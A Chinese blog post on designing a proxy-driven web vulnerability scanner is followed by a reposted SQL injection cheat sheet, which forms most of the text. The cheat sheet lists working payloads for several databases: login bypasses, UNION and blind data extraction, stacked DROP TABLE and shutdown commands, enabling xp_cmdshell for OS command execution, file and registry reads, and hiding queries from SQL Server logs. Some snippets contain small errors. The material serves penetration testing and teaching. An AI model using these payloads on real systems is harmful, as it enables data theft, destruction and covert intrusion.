作为一个安全从业人员,在平常的工作中总是需要对一些web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题,更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于web扫描器,而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行,这样可以极大的减少人工检测的工作量,但是随之而来也会导致过多的误报和漏报,原因之一就是爬虫无法获取到一些隐藏很深的系统资源(比如:URL)进行检测。在这篇文章里,笔者主要想和大家分享一下从另一个角度来设计web扫描器从而来解决开头所提到的问题。

0x01 设计

在开始探讨设计之前,我们首先了解一下web漏洞检测和扫描的一般过程和原理。通常我们所说的web漏洞检测和扫描大致分为2种方式:

  • web扫描器:主要利用扫描器的爬虫获取目标系统的所有URL,再尝试模拟访问这些URL获取更多的URL,如此循环,直到所有已知的URL被获取到,或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源;之后对获取的URL去重整理,利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞
  • 人工检测:通过设置代理(如:burp)来截获所有目标系统的访问请求,然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放(如:burp中的repeat功能)从而判断目标系统是否存在漏洞

对比上面的2种方式,我们可以发现web扫描器可以极大的减少人工检测的工作量,但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报;而人工检测可以很好的保证发现漏洞的准确性和针对性,但是却严重依赖于检测人员的经验和时间,尤其是大型系统很难在有限的时间内完成检测,同样会造成漏报。那么,如果能有效地利用扫描器的处理速度以及人工的精准度的话,是不是就可以很好地解决前面的问题了呢?

下面让我们来深究一下两者的各自优势,前者自动化程度高不需要过多的人为干预,后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下,如果我们有办法可以获取到所有的真实请求(包括:请求头,cookie,url,请求参数等等)并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢?

我们设想一下,如果有这样一个系统可以在用户与系统之前获取到所有的请求,并分发给扫描器进行检测,这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块:

  • 客户端:用户访问系统的载体,如:浏览器,手机APP
  • 代理:用于获取来自于客户端的所有请求,如:Burp,Load Balancer
  • 解析器:负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中
  • 请求数据库:用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息
  • 扫描器:具有漏洞检测功能的扫描器,如:自行编写的定制扫描器(hackUtils),SQLMAP,Burp Scanner,WVS,OWASP ZAP等
  • 应用系统:目标应用系统,如: Web系统,APP

基本架构如下:

从上图的设计中,我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中,然后将这些真实产生的请求分发给不同的扫描器(比如:常见的OWASP Top10的漏洞,已披露的常见框架或者中间件漏洞等)进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰,且仅通过中心数据库关联起来,因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。

这种设计架构可以很方便地进行扩展和应用, 例如:

  • 对于漏洞检测或者安全测试人员,我们只需要在本地设置好代理(如:burp),然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能,接下来的漏洞检测工作就完全交给了扫描器去做,这将极大地节约了时间和避免了大量重复的手工检测的工作量
  • 对于企业系统,我们可以将代理设置在应用前端(如:load balancer),这样所有的请求将会被自动镜像在扫描数据库,并自动分发给多个扫描引擎进行检测,无需手工干预即可发现很多隐藏很深的漏洞

0x02 实践

俗语说的好,“Talk is cheap, show me the code”! 是的,为了更好地了解这种设计思路的好处,笔者设计了一个Demo系统。该系统利用了burp作为代理,当我们在浏览器或者手机的wifi中配置好了代理服务器,漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能,代理将会自动地收集产生的所有请求数据(包括,各种请求头,cookie,请求方法,请求数据等)然后通过解析器的解析并存储于中央数据库,然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。

效果如下:

以下是我封装的一个python的requests库,它支持发送自定义的cookie,headers的get/post的请求,并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript,css等,可以非常方便的应用于反爬虫和DOM型XSS的检测。

Code:https://github.com/brianwrf/HackRequests

0x03 思考

从漏洞检测的角度来说,经过笔者的测试(以DVWA和WebGoat为例)检测效果还是非常明显和有效的。其实这种类似的设计,很早之前就已经有人做了,那么很多人要问了为什么你还要在重复造个轮子呢?其实原因有以下几点:

  • 系统耦合性较强,不利于进行扩展和改造
  • 在HTTPS的流量捕获上支持的不是很好
  • 没有做到对HTTP请求中所有的可控输入点进行检测,例如,仅仅检测GET/POST数据,而对cookie,user-agent, referer等缺乏检测
  • 缺乏对于DOM的渲染和解析,容易造成对于基于DOM的漏洞的漏报,比如:DOM型的XSS等
  • 不具备分布式部署的能力,无法有效利用分布式处理的优点来提高检测效率
  • 不具备真正的意义上的repeat检测能力,换句话说不能完全模拟用户的请求

当然,上述的设计也存在一些待解决的问题,比如:

  • 若将代理部署至应用前端镜像所有请求,再分发至扫描引擎检测,如何防止真实用户数据泄漏和篡改?可能的解决方案是设置例外,对于敏感字段或者请求进行例外处理。

写在最后

Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路,解决问题才是考验系统能力的关键!后续我会继续努力改进其不足,让其更加易于使用!

注:如觉得有意思想转载的话,请注明出处,尊重知识产权,从你我开始,谢谢!

【转载】SQL Injection Cheat Sheet

Original Link: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally
published in 2007 by Ferruh Mavituna on his blog. We have updated it and
moved it over from our CEO’s blog.
Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL
servers. Some of the samples in this sheet might not work in every
situation because real live environments may vary depending on the usage
of parenthesis, different code bases and unexpected, strange and
complex SQL sentences. 

Samples are provided to allow you to get
basic idea of a potential attack and almost every section includes a
brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

    1. Line Comments

    2. Inline Comments

    3. Stacking Queries

    4. If Statements

    5. Using Integers
    6. String Operations

    7. Strings without Quotes

    8. String Modification & Related
    9. Union Injections

    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Finding Database Structure in SQL Server
    13. Fast way to extract data from Error Based SQL Injections in SQL Server
    14. Blind SQL Injections
    15. Covering Your Tracks
    16. Extra MySQL Notes
    17. Second Order SQL Injections
    18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query. 
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

  • — (SM) 
    DROP sampletable;– 

  • # (M) 
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin’–
  • SELECT * FROM members WHERE username = ‘admin’–‘ AND password = ‘password’ 
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)

    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M) 
    This is a special
    comment syntax for MySQL. It’s perfect for detecting MySQL version. If
    you put a code into this comments it’s going to execute in MySQL only.
    Also you can use this to execute some code only if the server is higher
    than supplied version. 

    SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /* 
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members —
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10 
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S) 
    SELECT * FROM members; DROP members–

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

SQL Injection Cheat sheet

About MySQL and PHP; 
To clarify some issues; 
PHP – MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally
MySQL supports stacked queries but because of database layer in most of
the configurations it’s not possible to execute a second query in
PHP-MySQL applications or maybe MySQL client supports this, not quite
sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members —
  • SELECT * FROM products WHERE id = 10; DROP members–

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly andaccurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M) 
    SELECT IF(1=1,’true’,’false’)

SQL Server If Statement

  • IF condition true-part ELSE false-part (S) 
    IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

Oracle If Statement

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END; (O) 
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P) 
    SELECT CASE WEHEN (1=1) THEN ‘A’ ELSE ‘B’END;
If Statement SQL Injection Attack Samples

if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S) 
This will throw an divide by zero error if current logged user is not “sa” or “dbo”.

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM) 
    You can  write hex like these; 

    SELECT CHAR(0x66) (S) 
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M) 
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up
injections which are not using any quotes, bypass any other black
listing or determine back end database.

String Concatenation

  • + (S) 
    SELECT login + ‘-‘ + password FROM members
  • || (*MO) 
    SELECT login || ‘-‘ || password FROM members

*About MySQL “||”; 
If MySQL is running in ANSI
mode it’s going to work but otherwise MySQL accept it as `logical
operator` it’ll return 0. A better way to do it is using CONCAT()function in MySQL.

  • CONCAT(str1, str2, str3, …) (M) 
    Concatenate supplied strings. 
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) – Hex Representation of string 
    SELECT 0x457578 
    This will be selected as string in MySQL. 

    In MySQL easy way to generate hex representations of strings use this; 
    SELECT CONCAT(‘0x’,HEX(‘c:\\boot.ini’))

  • Using CONCAT() in MySQL 
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) 
    This will return ‘KLM’.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) 
    This will return ‘KLM’.
  • SELECT CHR(75)||CHR(76)||CHR(77) (O) 
    This will return ‘KLM’.
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P) 
    This will return ‘KLM’.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) 
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP) 
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections. 

    SELECT ASCII(‘a’)

  • CHAR() (SM) 
    Convert an integer of ASCII. 

    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members 
This will combine results from both news table and members table and return all of them.

Another Example: 
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S) 
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one – check out SQL Server documentation

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M) 
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin’ —
  • admin’ #
  • admin’/*
  • ‘ or 1=1–
  • ‘ or 1=1#
  • ‘ or 1=1/*
  • ‘) or ‘1’=’1–
  • ‘) or (‘1’=’1–
  • ….
  • Login as different user (SM*) 
    ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then
compare returned MD5 with supplied password’s MD5 then you need to some
extra tricks to fool application to bypass authentication. You can union
results with a known password and MD5 hash of supplied password. In
this case application will compare your password and your supplied MD5
hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin’ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055′
Password :1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based – Find Columns Names

Finding Column Names with HAVING BY – Error Based (S)

In the same order,

  • ‘ HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
  • If you are not getting any more error then it’s done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1–
  • ORDER BY 2–
  • ORDER BY N– so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.

    • Be careful in Blind situtaions may you can understand error is
      coming from DB or application itself. Because languages like ASP.NET
      generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ‘ union select sum(columntofind) from users— (S) 
    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ 
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. 

    If you are not getting an error it means column is numeric.

  • Also you can use CAST() or CONVERT()

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null,
      null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL,
      NULL, NULL, NULL, NULL, NULl, NULL–
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 — 
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,’2′,NULL,NULL WHERE 1=2 –- 
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,’2′,3,NULL WHERE 1=2 –- 
    Error! – Third column is not an integer. … 

    Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 
    Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS) 
Version of database and more
details for SQL Server. It’s a constant. You can just select it like any
other column, you don’t need to supply table name. Also, you can use
insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ”+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from ‘c:\inetpub\wwwroot\login.asp’
    3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function. 
bcp “SELECT * FROM test..foo” queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int 
exec sp_oacreate ‘wscript.shell’, @o out 
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ 
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ — 

Executing system commands, xp_cmdshell (S)

Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell ‘ping ‘

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages 
    master..sysmessages
  • Linked Servers 
    master..sysservers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm 
    SQL Server 2000: masters..sysxlogins 
    SQL Server 2005 : sys.sql_logins 

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell
    exec master..xp_cmdshell ‘dir’
  2. Registry Stuff (xp_regread

    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite 
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ 
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() 
IS_MEMBER (Transact-SQL)  
IS_SRVROLEMEMBER (Transact-SQL)  
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,’x’/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you’re really pissed off, ‘;shutdown —

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous
stored procedures are disabled in SQL Server 2005. If you have admin
access then you can enable these.

EXEC sp_configure ‘show advanced options’,1 
RECONFIGURE

EXEC sp_configure ‘xp_cmdshell’,1 
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = ‘U’

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST
    … WHERE users NOT IN (‘First User’, ‘Second User’) 
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one
  • Using Dirty Tricks 
    SELECT * FROM Product WHERE ID=2 AND
    1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
    sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p
    where p.x=3) as int 

    Select p.name from (SELECT
    (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=’U’ and
    i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = ‘U’) as p
    where p.x=21

 

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’ SELECT @rd=@rd+’
‘+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
‘MEMBERS’) AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;–

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘tablename’

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = ‘tablename’

Finding Database Structure in Oracle (O)

Getting User defined Tables

SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’

Getting Column Names

SELECT * FROM all_col_comments WHERE TABLE_NAME = ‘TABLE’

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page,
so you can not extract data through Union attacks or error based
attacks. You have to do use Blind SQL Injections attacks to extract
data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code 
Totally Blind,
You can not see any difference in the output in any kind. This can be
an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while
exploiting SQL Server back ended application and enumerating table
names. This requests done for first char of the first table name. SQL
queries a bit more complex then requirement because of automation
reasons. In we are trying to determine an ascii value of a char via
binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>78– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103– 

TRUE : SELECT
ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`.
This is the way to exploit Blind SQL injections by binary search
algorithm. Other well-known way is reading data bit by bit. Both can be
effective in different conditions.

 

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it’s really blind, otherwise just use 1/0
style errors to identify difference. Second, be careful while using
times more than 20-30 seconds. database API connection or script can be
timeout.

WAIT FOR DELAY ‘time’ (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY ‘0:0:10’–

Also, you can use fractions like this,

WAITFOR DELAY ‘0:0:0.51’

Real World Samples

  • Are we ‘sa’ ? 
    if (select user) = ‘sa’ waitfor delay ‘0:0:10’
  • ProductID = 1;waitfor delay ‘0:0:10’–
  • ProductID =1);waitfor delay ‘0:0:10’–
  • ProductID =1′;waitfor delay ‘0:0:10’–
  • ProductID =1′);waitfor delay ‘0:0:10’–
  • ProductID =1));waitfor delay ‘0:0:10’–
  • ProductID =1′));waitfor delay ‘0:0:10’–

BENCHMARK() (M)

Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot! 
    IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL 
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10); 
    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10); 
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message((‘xyz’),10) ELSE dbms_pipe.receive_message((‘xyz’),1) END FROM dual)

    {INJECTION} = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don’t log queries that includes sp_password for security
reasons(!). So if you add –sp_password to your queries it will not be
in SQL Server logs (of course still will be in web server logstry to use POST if it’s possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)

    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1 

  2. product.asp?name=Book

    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ‘ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users

    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT
    IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0)
    User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT … INTO DUMPFILE

    • Write query into a new file (can not modify existing files)
  • UDF Function

    • create function LockWorkStation returns integer soname ‘user32’;
    • select LockWorkStation(); 
    • create function ExitProcess returns integer soname ‘kernel32’;
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash

    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File

    • query.php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile 

    • By default it’s not available !

      • create table foo( line blob ); 
        load data infile ‘c:/boot.ini’ into table foo; 
        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( ‘test’ ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ ); 
    Enumeration data, Guessed Brute Force

    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );

Potentially Useful MySQL Functions

  • MD5() 
    MD5 Hashing
  • SHA1() 
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS() 
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION() 
